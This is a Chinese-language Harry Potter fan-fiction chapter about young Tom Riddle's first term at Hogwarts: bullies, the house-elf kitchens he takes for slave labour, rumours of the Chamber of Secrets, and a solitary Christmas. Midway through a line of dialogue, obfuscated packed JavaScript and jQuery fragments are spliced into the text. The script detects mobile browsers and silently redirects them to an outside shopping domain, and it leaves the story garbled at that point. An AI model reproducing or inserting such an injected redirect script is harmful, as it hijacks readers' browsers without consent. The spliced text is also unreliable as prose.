汤姆一直在非常努力地学习。而在意识到整个巫师界对太空的理解厚度不如麻瓜的一张报纸之后，他的学习热情进一步蹿升，如火箭般冲向云霄。
打个比方：一群原住民守着一座金矿定居了上千年。他们拿黄金铺地砖、垒茅坑、做磨刀石，偶尔用一大块纯金打一个球拍去拍苍蝇。你——一个外来者——看见了这一切。你的第一反应是暴跳如雷地骂他们暴殄天物；第二反应是挽起袖子开始挖矿。
汤姆正处于第二反应的阶段。
他出众的成绩很快为他吸引了不限于斯莱特林学院的关注。
这天午饭后，一个格兰芬多男孩在走廊里追上了他。
"嘿，里德尔！"
男孩有一头乱糟糟的褐发，鼻梁上散着雀斑，袍子下面露出一截麻瓜式衬衫领。他叫艾伦·肖，分院时汤姆听见过这个名字。麻瓜种。
"你在变形课上做的那个太酷了，"肖说，"尤其是没用魔杖的那次。你以前真的没学过吗？"
"没有。"汤姆停下脚步，露出恰到好处的微笑。
"我那根火柴到最后只像一根银色牙签。"肖笑起来，"你要不要下午一起去图书馆？我想找找无杖魔法的书。也许我们可以——"
"抱歉，我已经有安排了。"汤姆温和地说。
"哦。好吧。那下次见。"
肖没有纠缠，挥挥手跑回两个格兰芬多同伴身边。
汤姆继续向前走。他能感觉到背后的目光。
走廊拐角处，两个斯莱特林二年级生正靠在窗边。其中一个看了看肖离去的方向，又看了看汤姆，嘴角带着意味不明的笑。
汤姆不能让自己看起来像是在向格兰芬多寻求保护，也不能与麻瓜种结成显眼的同盟。斯莱特林人本来就排挤他，他不能再做任何让人排挤的"站边"。政治智慧。
下午，拉文克劳的露丝·普赖斯在图书馆和他搭了话。她想知道，他变回火柴时有没有使用反咒，还是单纯倒转了变形过程。
汤姆和她讨论了两分钟，然后在两个斯莱特林经过书架前结束了谈话。
"我要读书了。"他说。
他开始明白，分院帽把人塞进四张长桌以后，连一句寻常的谈话也有了政治含义。魔法世界精力充沛。
---
埃弗里成了汤姆最聒噪的跟班。他每天中午端着盘子坐到汤姆对面，汇报各种八卦——谁跟谁吵了架，斯拉格霍恩又请谁去办公室喝下午茶——有些有用，大多数纯属废话，但汤姆留着他，因为废话有时候也是情报。
"莱斯特兰奇一个人在空教室里练锁腿咒。"某天午餐，埃弗里压低声音说，"他在模仿你那一手。"
莱斯特兰奇就在斜对面和一个波兰水饺搏斗。汤姆很欣赏他：沉默、自律、不白费口舌。
西奥·诺特则比较怂，不敢得罪阿布拉克萨斯，也不敢得罪汤姆，在两人之间小心翼翼地横移，像螃蟹。
阿布拉克萨斯被汤姆第一晚的威胁和随后的出色课堂表现吓唬住了。他不敢正面对付汤姆，也没脸向父亲告状——"爸爸，一个提着纸箱的孤儿抢了我的魔杖和床"，这种话说出来丢的是马尔福家的脸面。于是他只能时不时恨恨地"切""哼"，发出各种语气词。
汤姆看起来完全无视他，内心则高度警惕：马尔福的关系网不好对付。
果然。
几天后，学院地下室一条偏僻的走廊，挂着跳舞巨怪毯子的那面墙旁边。几个三年级男生堵住了汤姆的去路。领头的是一个方下巴的、比汤姆高出整整两个头的男孩。汤姆不记得他的名字，但记得他的姓——罗齐尔。第一晚的晚宴上，阿布拉克萨斯和他聊过天。
"听说你挺能耐的。"罗齐尔慢悠悠地把魔杖横在手上转了一圈，"一年级就会无杖魔法。了不起。可问题是——"
他走近一步。其余两人移到汤姆两侧。
"你算什么东西？里德尔。"
汤姆计算了三秒钟。三个三年级生。咒语库存量至少是他的六倍。身体也比他大得多——即便用孤儿院学来的近身格斗，三打一几乎不可能赢。这里偏僻，没人看到，一旦挨了打，连告状的证据都没有。
（其实汤姆有点低估自己、高估敌人。）
"请问有什么事？"汤姆尽可能冷静而礼貌地说，"斯拉格霍恩教授正叫我去办公室找他呢。"
其实没有。
三个男孩狞笑。"老师的好学生，嗯？"罗齐尔逼近一步，"正巧，我们想给你几个小建议，里德尔——"
"哦，男孩子们，你们在聊什么？"
院长油滑的声音从走廊尽头响起。斯拉格霍恩不知从哪里冒了出来，翡翠绿的丝绒马甲在火把光里闪闪发亮，圆滚滚的肚子先于他本人抵达了现场。
罗齐尔镇定地说："我们只是在给新来的学弟指路，院长。"
"一年级新生容易在学院里迷路。"另一个男孩——克拉布补充。
"那很好，很好。"斯拉格霍恩笑容可掬，"福林特先生、罗齐尔先生、克拉布先生——我记得三年级的变形课快开始了吧？不要让邓布利多先生久等。"他眨了下眼。
三人离去。汤姆道了谢。斯拉格霍恩笑眯眯地送他走出走廊，虽然汤姆显然不需要护送。
汤姆下定决心，下次要自己处理好这种问题——不再需要任何大人的出面。not any more.
---
汤姆一直很好奇城堡的食物从哪里来。
他对那种让无尽食物在银盘上凭空出现的魔法心醉神迷，仅次于对太空着迷。甘普基本变形法则说食物不能无中生有，所以，那些食物是买来的？种出来的？用什么人力？在哪里烹饪？巫师们需要祭献什么才能获得食物？第一个孩子？教授们大多未婚未育，是那个原因吗？
他进行了一番合理合法的调查。
线索是从赫奇帕奇那里来的。赫奇帕奇的学生似乎天然对食物有一种亲近——他们的公共休息室据说就在厨房附近。一个赫奇帕奇二年级生在走廊里得意地向朋友描述了"挠梨子"的技巧，被汤姆听见了。
那一个十月的晚上，宵禁之前。汤姆找到了那幅画着一碗水果的巨大油画。
他伸出手指，挠了挠画中的梨。梨咯咯笑起来，扭动着变成了一个绿色的门把手。
汤姆拉开门。
一股潮热的气浪扑面而来——烤肉的油脂味、煮烂的蔬菜味、焦糖味、灼热的铁器味，以及一种他说不出名字的、像是什么活物被关在了温度过高的密闭空间里太久的气味。
他的眼睛花了两秒钟来适应。
然后他看清了。
厨房极大。灶台之间、案板之下、成堆的餐盘之间穿梭着——穿梭着无数个瘦骨伶仃，眼睛极大的非人生物。它们大约到汤姆的腰部那么高，皮肤呈灰绿色或米褐色，皱巴巴的，松松垮垮地挂在骨头上，像一件穿了太久的旧衣服。头颅很大，和身体不成比例，上面嵌着两只硕大的、苍白的、凸出来的眼球——没有眼白和虹膜之分，像两颗蒙着雾的玻璃珠。鼻子又长又扁，耳朵像蝙蝠翅膀一样向两侧伸展，薄得能看到里面的血管。
这些怪物穿着枕套改成的衣物。有些枕套上还印着霍格沃茨的校徽，但被油渍和汤汁浸透了，已经发黄发硬。
至少一百只。
一百只类人而非人的生物同时在锅碗瓢盆间忙碌，在蒸汽和油烟中出没。它们的手指异常纤长，关节多了一截，像是蜘蛛腿被安在了人手上——那些手指正在以惊人的速度揉面、切菜、翻搅、颠勺。没有一只闲着。没有一只停歇。
汤姆站在门口，被吓到了。
Fuck.
霍格沃茨地下囚禁着奴隶。
最近的一只小精灵不知何时抬起了头，正看着他。两颗苍白的、浑浊的巨大眼球，在一张核桃壳一样皱缩的脸上占据了一半面积。
"是谁？"
更多的眼球转了过来。
一只，两只，七只，二十只。
越来越多的小精灵停下手里的活计——铜锅在无人搅拌之后开始冒泡溢出——它们齐刷刷地转过头来，用上百双一模一样的、苍白空洞的眼睛注视着门口的男孩。动作整齐得可怕。像一群鱼同时转向。
"是里德尔小少爷——"
"里德尔小少爷来这里干什么？"
"里德尔小少爷饿了吗？"
"小少爷想吃什么！小的去做！小的去做！"一个小精灵一打响指，一个餐盘从柜子里飞出来。
Fuck.
会魔法的异族奴隶，数量上百，被关在城堡底下，每天接触全校所有人的食物，而且清楚每一个学生的名字。会魔法。最关键是会魔法。
Fuuuuck.
汤姆后退了一步。
它们涌过来。
十几只家养小精灵脱离了队列，以一种不协调的、过快的小步子向他趋近——那些用枕套裹着的瘦小身体、过大的头颅、蝙蝠耳朵、长手指——距离在快速缩短——空洞的眼球放大了——
汤姆后退了一步。又退了一步。
他控制着自己的呼吸。他的手指摸到了袍子里魔杖的把手。
"不——不用。"他的声音比他希望的稍微高了一点，“我走错了”
他转身就跑。
Fuuuuuuuuuuuuuuck！！！
无限食物的祭品是奴隶制！！巫师没有献祭自己的头生子；他们献祭了另一个种族！！汤姆醍醐灌顶。梅林啊。
巫师界不光在天文学水平上和中世纪接轨。在奴隶制上也是。
于是，汤姆把厨房记录为霍格沃茨最不可触碰的禁地。
之后几天，汤姆的饭量都变小了一点。他先观察别人吃过哪盘菜，再从那只盘子里取食；同一道菜不连续吃两天；入口前还会检查颜色和气味。倒不是因为他突然开始批判奴隶制（汤姆的道德底线相当灵活），主要是因为他恐惧小精灵会给巫师们下慢性毒药。说实话，那完全合情合理。
（后来这种恐惧慢慢消退了。主要原因是饭太好吃了。）
---
十月底的一个深夜，汤姆在去天文塔的路上经过二楼的一个拐角。
前方传来几名高年级斯莱特林女生的声音。他停在阴影里——伦敦的孤儿探听秘密是条件反射。他侧身躲进一副盔甲背后。也不知是不是错觉，盔甲轻颤了一下。
"……斯莱特林的密室。"
汤姆的耳朵竖了起来。
"那是给一年级小孩听的故事。"一个女孩说，"如果真有，早就被人找到了。"
"当然存在。萨拉查·斯莱特林亲自把它藏在城堡下面，只有他的继承人能打开。里面有一个怪物，等着把不配来霍格沃茨的人清出去。"
另一个女孩笑了。
"那它最近真该醒醒了。麻瓜种越来越多。格兰芬多那个肖，拉文克劳的黄头发姑娘——"
"还有我们学院那个里德尔。"
"嘿，分院帽把他放进斯莱特林了。"
"帽子也会出错。怪物不会。怪物闻得出血。"
几个人低低地笑起来。她们谈起希望密室里的东西先吃掉谁，语气轻松得像是在给圣诞晚宴安排菜单。
汤姆站在黑暗里，面无表情。内心则觉得荒谬。天哪。这个城堡还要送他多少惊喜？
一整个不友善的学院。
一群拿着魔杖的霸凌者。
一整个地下室的奴隶工厂。
这还不够吗？现在又来了一个密室怪物传说，专门吞噬他这种"泥巴种"。
也许想要留在能填饱肚子的地方，就是要付出点生命风险。孤儿们去散宴后抢残羹冷炙时，也总会被宴会主人的仆人殴打。给帮派的人放哨跑腿时也随时可能挨打。这不算新鲜事。
等那些女孩的声音彻底消失了，他才重新挪动脚步，换了条路前往天文塔。
“也许我应该去研究一下密室和斯莱特林的怪物的这个传闻， ”汤姆边走边嘲弄地想。“假如那个传说是真的——我这个混进斯莱特林纯血窝里的"血统不详"者，可能是首当其冲的猎物。”
---
1938年12月。
圣诞假期来了。
霍格沃茨的走廊挂满了冬青和槲寄生，盔甲被施了咒会哼走调的圣诞颂歌。惠特比教授花了三天时间给大厅的十二棵圣诞树施咒，让金色的小天使在树梢之间飞来飞去。
城堡正在驱赶它的孩子们。离校的前一天，公共休息室嘈杂得像一个打翻了的蜂巢。行李箱被拉出来，长袍被塞进去，猫头鹰带着最后一封"妈妈我想吃你做的约克郡布丁"飞出窗户。
"你们圣诞节都去哪儿？"埃弗里的声音在混乱中格外响亮地穿透了人群，像一颗不受控制的鬼飞球。
"庄园。"阿布拉克萨斯头也不抬，正往箱子里塞一件看上去比汤姆整个身家还贵的天鹅绒披风，"圣诞舞会。每年传统。你知道的。"
"嗯——我们家也有各种宴会。堂兄弟表姐妹全凑齐，三十多个人。"埃弗里喜滋滋地说，掰着手指数他家亲戚。他的猫头鹰在笼子里不满地刨着笼条。
"我们去法国。"瓦尔布加·布莱克从女生那边路过，语气骄傲，"外祖母在奥克西塔尼有一栋别墅，面朝地中海，且远离麻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830834|211320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瓜。"
"我回约克郡。"诺特说，"爸爸身体还没有完全好，妈妈不想他一个人。"
"阿尔芒呢？"埃弗里扭头看莱斯特兰奇——后者正在他那张铺得一丝不苟的床边，以近乎仪式感的精确动作折叠一件黑色长袍。
"回家。"莱斯特兰奇简短地说。
"里德尔？"
埃弗里最后转向汤姆。
"我留在学校。"汤姆说。
房间空了。
五张四柱床，只剩下一张还有人睡。
整个斯莱特林也几乎走空了。
巫师的家庭观念很强，学校里总共留下了十几个学生，散落在四个学院里。
这让人非常舒适。斯莱特林的公共休息室由汤姆独享，汤姆舒适地占据了壁炉旁最舒服的椅子（那里通常属于纯血统的高年级学生小团体，现在被汤姆霸占了。）蜷成一团读书。啊，书，书，美丽的书！啊，知识，知识，禁忌的知识！
斯拉霍格恩给他签的几张禁书区开放条也起到了美好的作用，汤姆珍惜地使用他们，恰到好处地用了一两个复制咒。图书馆管理员伊迪丝女士对此似乎没有深究。
---
圣诞前夜。
留校的十几名学生和几位教授挤在大礼堂的一张圆桌上共进晚餐——迪佩特校长建议假期不必分长桌坐，于是四个学院的人被打乱了，围成了一圈。十二棵圣诞树上的蜡烛亮着金色的光，天花板上飘着真正的雪花——落到头发上就化了，不弄湿东西，只留下一丝凉意。
汤姆被安排坐在斯拉格霍恩和赫奇帕奇的一个三年级女生之间。女生叫玛乔丽·艾博特，圆脸，棕色卷发，笑起来脸颊上有两个酒窝。她留校的原因是父母在圣芒戈医院工作，圣诞节值班，接不了她。
"你是斯莱特林的？"玛乔丽好奇地打量他，"我还是头一回跟斯莱特林的人坐这么近。"
斯拉格霍恩在他另一侧，正热情地和迪佩特校长讨论一瓶1921年的精灵酿造白兰地。迪佩特温和地听着，不时发出如同嗯嗯的回应声。邓布利多坐在桌子对面，穿着一件绣了金色星星的绛紫色长袍，正在和福利教授谈论什么引发了大笑的话题——汤姆只隐约听到了"袜子"这个词。
桌上的食物和开学宴一样丰盛，甚至更多。烤火鸡金灿灿地冒着热气，周围环绕着烤栗子、蔓越莓酱和迷迭香。烤鹅、蜜汁火腿、六种做法的土豆、约克郡布丁、抱子甘蓝——汤姆已经有了三个月的经验，能够在大快朵颐得到同时吃相不那么像饿死鬼投胎了。
拉炮被分发下来。玛乔丽拉开了一个银色的——砰的一声，一顶锥形纸帽和一只活蹦乱跳的锡皮老鼠从烟雾里蹦了出来。纸帽是绿色的，上面印着一条银蛇。
"你戴吗？"玛乔丽问。
汤姆看了看那顶蠢得无以复加的帽子。
"不了。"
"那我戴！"玛乔丽一把抢过去扣在自己头上，绿色尖帽配上她赫奇帕奇的黑黄围巾，颜色极为混乱。
甜点是圣诞布丁。斯拉格霍恩亲自用魔杖点燃了布丁上的白兰地——蓝色的火焰在黑色的布丁表面跳跃了几秒，然后熄灭，留下焦糖和酒精交织的致命甜香。
汤姆切了一块。布丁里面有葡萄干、坚果碎、橘皮蜜饯。邓布利多吃到了好运银币，差点硌掉了牙。
---
圣诞节的清晨。
汤姆醒过来。
宿舍空空荡荡。帷幔缝隙间透进来的光不再是黑湖幽暗的绿色，而是一种更浅的、柔和的蓝绿——也许是因为湖面上的冰层在阳光下折射了光线。
他看向床脚，果然没有礼物。
在孤儿院，科尔太太会在圣诞节给每个孩子一颗糖——裹着锡纸的、硬邦邦的太妃糖，大概值半便士。还有"好心人"捐赠的二手玩具：缺胳膊的士兵，掉色的弹珠，偶尔有一个真正还能发出声音的铁皮青蛙。汤姆每年都会拿到一份，与其说是礼物，不如叫惯例。
而今年——连那颗半便士的太妃糖都没有了。
不过汤姆并不在乎。至少没有煤块。
圣诞节的早餐也比平常丰盛，桌子上堆满了煎蛋和培根。坐在他对面的肖收到了一条母亲织的红围巾，正嫌弃两头的流苏不一样长；旁边一个玛乔丽得到了一套新的高布石，兴奋地向每一个人展示。汤姆看了两眼，主要是在判断那套高布石值多少钱。
没有人问他收到了什么。这很好，省去撒谎。
汤姆带着一杯热可可回到斯莱特林公共休息室。绿色的灯火在空荡荡的石壁上投下水波一样的光影。壁炉比平时烧得更旺，大概是家养小精灵在补偿人少的冷清。汤姆想到这里，抬头看了一眼壁炉，确认烟道里没有伸出长耳朵，才重新低下头。
沙发上堆着几只没人拿走的绿色靠枕。他把它们归拢起来，在壁炉最近的长沙发上给自己搭了一个窝。他蜷成一团，把《无魔之境》翻到下一章。
安静。温暖。只有他一个人。孤独代表了什么？孤独代表了安全。
窗外，黑湖在冬天呈现出一种更深沉的蓝绿色。冰层从湖面向下蔓延，在水下形成了一片晶莹的、不规则的冰幕。冰幕后面，偶尔有什么东西游过去——一条鱼，或者一团水草——那些影子模糊、缓慢，属于另一个隔着厚玻璃的世界。
汤姆读完了一小半《无魔之境》这一探讨高空稀薄魔力场的论著，又翻了翻《魔法空间拓展》——"无痕伸展咒"能让一个手提箱内部变得和一栋房子一样大。汤姆一边读一边在脑海中修改他的飞船设计图：不需要造一艘物理意义上的巨型飞船。一个手提箱大小的物体，内部用无痕伸展咒拓展成一整座空间站——
公共休息室里只剩下书页翻动和木柴爆裂的声音。
忽然，一个巨大的影子从窗前掠过。
汤姆抬起头。
大章鱼。
一根粗壮的触手慢悠悠地从窗户外面划过去，和他之间只隔着一层魔法屏障。触手上的吸盘清晰可见，每一个都有他的拳头那么大。那根触手在窗前停了一会儿——也许章鱼看见了壁炉的光——然后不紧不慢地游走了，带起一串细小的气泡。汤姆看着那些气泡一颗颗升上去，消失在冰幕的暗影里。
汤姆低下头，把书翻过一页。不知什么时候，他开始轻声哼歌。当他意识到自己在哼歌的时候，他立刻闭上了嘴。
没有人给他送圣诞礼物，也没有任何一户人家等他回去。一如既往。
可他吃得很饱，壁炉烧得很旺，膝头摊着一本过去连见都没见过的书。明天还能继续吃饱。书架上有读不完的新书。这里很安全，没有其他人。
这是他有生以来最好的一个圣诞节。